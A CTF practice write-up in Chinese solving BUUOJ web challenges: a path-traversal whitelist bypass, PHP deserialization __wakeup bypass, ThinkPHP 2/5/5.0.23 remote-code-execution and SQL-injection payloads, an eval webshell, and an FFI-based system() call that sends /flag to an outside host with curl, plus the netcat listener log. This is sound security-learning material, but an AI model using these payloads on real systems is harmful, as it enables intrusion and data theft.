[BUUOJ 刷题 2024/06/26] Web
[HCTF 2018]WarmUp
Ctrl+U
查看源码,找到source.php,发现hint.php,点进去后告诉你flag位置。
source.php:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
审计代码,只要把问号转义成%3F即可
payload
source.php%3F/../../../../ffffllllaaaagggg
[极客大挑战 2019]PHP
DirSearch 429 Too Many Requests,所以参考了别人的wp,根目录下有/www.zip
审计index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
发现有反序列化玩。
代码审计
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
// echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
注意到,我们要绕过__wakeup
1._wakeup()函数的定义:
__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。
2._wakeup()函数的作用:
__wakeup()方法的目的是在对象反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑。这个方法可以用来初始化一些无法在序列化字符串中保存的成员变量、建立数据库连接、重新计算缓存数据等。
4._wakeup()函数的绕过:
(1)当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。
标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"wenda";s:8:"password";s:4:"wenda";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"wenda";s:8:"password";s:4:"wenda";}
(2)使用C绕过
使用C代替O能绕过_wakeup(),但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容
注意:使用C绕过有版本要求
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/m0_63138919/article/details/132545718
补充一个知识点
注意:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
同理 如果定义了 __serialize() 和 __sleep() 两个魔术方法,则只有 __serialize() 方法会生效。
显然payload是
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
[ThinkPHP]2-Rce
https://github.com/vulhub/vulhub/tree/master/thinkphp/2-rce
我们使用payloadhttp://node5.buuoj.cn:27766/index.php?s=/a/a/a/${@eval($_POST[1])}
然后蚁剑
最后通过webshell,拿下env中的flag
- 注意,如果直接在payload里面写字符串,好像是过不了的。
[ThinkPHP]5-Rce
https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
则payload:
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env
[ThinkPHP]5.0.23-Rce
https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.zh-cn.md
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=env
[ThinkPHP]IN SQL INJECTION
https://github.com/vulhub/vulhub/blob/master/thinkphp/in-sqlinjection
直接使用给的payload就可以了http://node5.buuoj.cn:28336/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
[RCTF 2019]Nextphp
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
看一下当前目录?a=var_dump(scandir(%22.%22));
array(2) { [0]=> string(9) "index.php" [1]=> string(11) "preload.php" }
highlight一下index.php?a=highlight_file(%22preload.php%22);
代码审计
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
然后就没有什么头绪了,看了下别人的wp:
FFI扩展
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("echo Hello World>./ttmp");
echo file_get_contents("./ttmp");
//输出结果为Hello World
?>
触发条件
触发条件
如果在php配置文件中开启了ffi.enable=preload,那么FFI中opcache.preload参数指定脚本能够调用FFI,而用户写的函数是没有办法直接调用的。翻看phpinfo,也确实指定了preload.php能够调用FFI。
?a=$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:4555');
[root@xnnpzy ~]# nc -vv -l -p 4445
Listening on any address 4445 (upnotifyp)
Connection from 117.21.200.176:61031
POST / HTTP/1.1
Host: ***************:4445
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
flag{bd8fa2ea-cb43-4afd-85e0-87bf4adf628c}Total received bytes: 195
Total sent bytes: 0
补充:curl -d @FILE_NAME IP:ADDR 可以读取文件FILE_NAME